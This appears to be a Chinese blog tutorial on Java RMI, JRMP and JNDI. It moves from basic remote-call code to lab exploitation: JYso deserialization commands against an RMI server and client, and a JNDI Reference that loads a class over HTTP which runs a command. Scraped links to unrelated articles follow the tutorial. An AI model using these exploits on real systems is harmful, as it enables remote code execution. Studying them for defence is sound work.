RMI

概念:

RMI(Remote Method Invocation) 是 Java 提供的一种远程通信机制,它允许一个 Java 程序调用另一个 远程 Java 虚拟机(JVM) 中的对象方法,就像调用本地对象一样

为什么要有RMI?

​ 在分布式应用中,不同模块或服务可能部署在不同服务器上,RMI 允许你在一个机器上的 Java 程序远程调用另一台机器上的 Java 方法,实现模块间的通信。

RMI的构成:

​ RMI主要由Server、Client、Registry(服务端、客户端、注册中心)构成。

​ 其中Client作为使用者,远程调用Server上的对象方法,而Server就是远程方法的提供者。

​ 注册中心类似于手机中的通讯录,可以理解为注册中心是用来注册和查找远程对象的目录服务。

​ 服务端通过registry.rebind("服务名", 远程对象) 将远程对象绑定到注册中心。

        //这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中

​ 客户端通过注册中心,在Server端查找所需要的远程对象

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);

如何使用RMI

​ 使用RMI一个很必要的前提就是Client拥有Interface A,而Server拥有Interface A 的实现类 Class A_impl

​ 所以可以理解Client上的每个接口都对应了Server上的一个实现类

Server:
new一个注册中心,并绑定指定的端口 ==》 将创建好的对象添加到注册中心
Client:
通过注册中心提供的方法,获取远程的注册中心 ==》 并通过方法名的方式,在Server上查找服务端方法,并使用

Client代码

public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException {
//去找远程的 注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);
}
}

Client上的Interface

package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException; }

Server代码

public class RmiService {
public static void main(String[] args) throws RemoteException {
//这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
}
}

Server上的Interface及其实现(注意:这里的Interface和Client上的是完全一样的)

package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException; } ==========================================================================================================================
package org.example.Service; import java.rmi.RemoteException; public class Calcimpl implements Calc{
@Override
public int add(int a, int b) throws RemoteException {
int result = a + b;
System.out.printf("%d + %d = %d", a, b, result);
return result;
} @Override
public void print(Object o) throws RemoteException {
System.out.printf((String) o);
}
}

​ 那么运行Server之后,再运行Client,就能得到对应的结果了

注意!!!

​ Client远程调用Server上的方法A,方法A最终是在Server上运行的,然后由Server将运行完成的结果发送给Client,而不是在Client上运行

JRMP(是RMI的通信协议的名字)

概念

JRMP(Java Remote Method Protocol) 是专门为 Java RMI(Remote Method Invocation) 设计的一种专用通信协议。

​ JRMP 仅用于 RMI 调用,是 RMI 默认使用的底层传输协议。

查看通信过程

​ 还是使用上面的代码,Server端保持运行,然后运行一次客户端,查看JMI使用JRMP协议调用的过程



​ 然后可以发现,这里传输的是经过序列化的数据。这也说明,在Server或Client上是会将其反序列化为Java对象

​ 那么如果将序列化的数据替换成我们的恶意利用链,那么其中一端在反序列化的过程中,就会触发恶意利用链,并执行恶意Payload

工具使用

https://github.com/qi4L/JYso

​ 查看WiKi描述的使用方式

攻击Server

此处意在模拟攻击RMI开放端口

​ 首先,这里保持服务端一直运行(注意,此处JDK版本为jdk8u112,且加载commons-collections 3.2.1)

​ 高版本JDK引入了对象输入过滤器,防止反序列化加载恶意类,所以不太能成功

        <dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

​ 使用命令

D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPClient 127.0.0.1 1099 -g CommonsCollections7 -p calc

​ 成功执行命令calc

攻击Client

此处意在模拟RMI Client参数可控的条件下,攻击Client

​ 首先使用工具起一个监听

D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPListener  1098 -g CommonsCollections7 -p calc

​ 然后修改Client代码中的Host和Port为攻击工具开放的Host和端口

​ 然后执行Client端代码,成功执行payload

JNDI

什么是JNDI

​ JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问命名和目录服务。本质上,它提供了一个 统一的接口,让 Java 程序可以查找资源,比如对象、数据库连接、远程服务等。

那么JNDI和RMI的关系是什么

JNDI 是一个接口,底层可以对接不同的服务提供者(SPI):

  • LDAP(轻量级目录访问协议)
  • RMI Registry
  • DNS
  • File System
  • 自定义服务提供者
名称 作用 举例或说明
JNDI Java Naming and Directory Interface Java 的统一资源查找 API,可以通过名字查找对象(比如数据库、远程服务等)
LDAP Lightweight Directory Access Protocol 一种目录服务协议,JNDI 可以通过它查询结构化的资源(常用于企业环境)
RMI Remote Method Invocation Java 自带的远程对象调用机制,可以通过网络调用远程 Java 对象的方法
JRMP Java Remote Method Protocol RMI 默认使用的底层协议,是 Java 专有的远程通信协议
             JNDI
|
-------------------
| | |
LDAP RMI Others (DNS, File, etc.)
|
JRMP

总结:JNDI是Java提供的API,可以对接不同的服务(如LDAP、RMI、DNS),而JRMP又是RMI的底层协议

JNDI加载恶意类

​ 需要准备:Server、Client、恶意类

恶意类evil_test(这里什么名字都可以)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable; public class evil_test implements ObjectFactory {
//构造方法在类加载的时候就会执行,不需要特意调用,所以要写在构造方法里
public evil_test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

Server代码

public class RmiService {
public static void main(String[] args) throws RemoteException, NamingException {
//搞一个注册中心,注册中心监听端口为1099
Registry registry = LocateRegistry.createRegistry(1099);
//创建一个引用,其中的第一个参数是远程对象名称,第二个参数是远程对象实现的类名,第三个参数是URL
//Reference告诉客户端,要去哪里加载这个远程对象
Reference reference = new Reference("evil_test", "evil_test", "http://127.0.0.1:8088");
//将引用包装成ReferenceWrapper对象,并添加到注册中心中
//这是因为JNDI RMI 注册中心只能接受实现了 Remote 接口的对象,所以需要用别的方法包装一下
registry.rebind("evil_test",new ReferenceWrapper(reference));
}
}

Client代码

package org.example;

import org.example.Service.Calc;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//新建一个命名服务的上下文对象,用于资源的查找
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/evil_test");
}
}

编译恶意类

​ 这里最好使用和受害者机器一样的JDK环境和编码对恶意类进行编译,不然容易出问题

​ 并且恶意类中不应出现包名,不然和受害者包名不一致就会出问题

PS G:\Code\Java\RMIServer\src\main\java> D:\Jdk8u112\bin\javac.exe -encoding UTF-8 .\evil_test.java

​ 编译完成之后,在编译好的class文件处开启一个http服务,用于传输恶意类编译的class!

​ 随后运行Client代码(受害者端),受害者连接Server端,并去我们指定的factoryLocation中查找名为evil_test的恶意类,并加载,最终成功执行Payload

​ 具体的实现原理可见https://www.cnblogs.com/LittleHann/p/17768907.html#_label1

​ 但是需要注意的是从 JDK 8u121 开始,Java 默认 不再信任RMI远程加载的 Reference 对象的类定义

​ 但是可以通过JNDI+LDAP的方式,通过LDAP加载远程恶意类

浅谈RMI、JRMP、JNDI的更多相关文章

  1. 浅谈RMI的特点及作用

    RMI:远程方法调用(Remote Method Invocation) 扩展:RPC与RMI的区别 1:方法调用方式不同: RMI中是通过在客户端的Stub对象作为远程接口进行远程方法的调用.每个远 ...

  2. 微服务浅谈&服务治理的演变过程

    这两天对互联网的架构演变进行了简单了解,并对微服务的出现很感兴趣,所以对相关知识进行了简单的整理与总结. 本篇文章先简单介绍了互联网架构的演变,进而介绍了服务化,最后介绍了微服务及最新的服务网格(Se ...

  3. [转帖]浅谈IOC--说清楚IOC是什么

    浅谈IOC--说清楚IOC是什么 Need Study https://www.cnblogs.com/DebugLZQ/archive/2013/06/05/3107957.html 博文目录 1. ...

  4. 浅谈 Fragment 生命周期

    版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Fragment 文中如有纰漏,欢迎大家留言指出. Fragment 是在 Android 3.0 中 ...

  5. 浅谈 LayoutInflater

    浅谈 LayoutInflater 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/View 文中如有纰漏,欢迎大家留言指出. 在 Android 的 ...

  6. 浅谈Java的throw与throws

    转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...

  7. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  8. 浅谈WebService的版本兼容性设计

    在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...

  9. 浅谈angular2+ionic2

    浅谈angular2+ionic2   前言: 不要用angular的语法去写angular2,有人说二者就像Java和JavaScript的区别.   1. 项目所用:angular2+ionic2 ...

  10. iOS开发之浅谈MVVM的架构设计与团队协作

    今天写这篇博客是想达到抛砖引玉的作用,想与大家交流一下思想,相互学习,博文中有不足之处还望大家批评指正.本篇博客的内容沿袭以往博客的风格,也是以干货为主,偶尔扯扯咸蛋(哈哈~不好好工作又开始发表博客啦 ...

随机推荐

  1. 【MATLAB习题】四杆机构的运动学参数求解

    1.问题描述 2. 推导过程 3. matlab代码 最新版代码 直接采用求微分的方式得到角度,角速度等数值解,速度慢,但是代码少,容易看懂(矩阵看起来真难受). 以前做的一个博客文章用的是矩阵运算求 ...

  2. Cannot find config.m4. phpize 安装扩展出错

    原因 编译扩展包下面的名字可能不是 config.m4,也有可能有类似 config0.m4 的文件:因此名字不一样也是找不到的,我们需要用 mv config0.m4 config.m4 :修改文件 ...

  3. 变速精灵+百D网盘

    首先找一下相对低一点版本的客户端,比如7.26.10 https://issuepcdn.baidupcs.com/issue/netdisk/yunguanjia/BaiduNetdisk_7.26 ...

  4. 【SpringCloud】版本选择

    版本选择 从2.2.x和H版开始说起 SpringBoot版本选择 git源码地址 https:github.com/spring-projects/spring-boot/releases/ Spr ...

  5. 【HTML】步骤进度条组件

    HTML步骤进度条 效果图 思路 分份: 有多少个步骤就可以分成多少分,每份宽度应该为100%除以步骤数,故以上效果图中的每份宽度应该为25%,每份用一个div. 每份: 每份中可以看成是三个元素,一 ...

  6. configparser.ConfigParser

    这是fens.conf里的初始内容: 下面是python3中configparser的处理原码:import configparsercf = configparser.ConfigParser()c ...

  7. 🎀idea - properties文件unicode中文显示

    简介 idea中properties文件中文默认展示为unicode码 unicode 中文展示为 \u开头的ASCII 调整中文显示 idea -> settings -> Editor ...

  8. Sentinel源码—1.使用演示和简介

    大纲 1.Sentinel流量治理框架简介 2.Sentinel源码编译及Demo演示 3.Dashboard功能介绍 4.流控规则使用演示 5.熔断规则使用演示 6.热点规则使用演示 7.授权规则使 ...

  9. 移动开发框架,Hammer.js 移动设备触摸手势js库

    原文:https://www.cnblogs.com/zhwl/p/3525238.html hammer.js是一个多点触摸手势库,能够为网页加入Tap.Double Tap.Swipe.Hold. ...

  10. <HarmonyOS第一课02>DevEco Studio的使用

    视频链接: https://developer.huawei.com/consumer/cn/training/course/slightMooc/C101717494752698457?ha_sou ...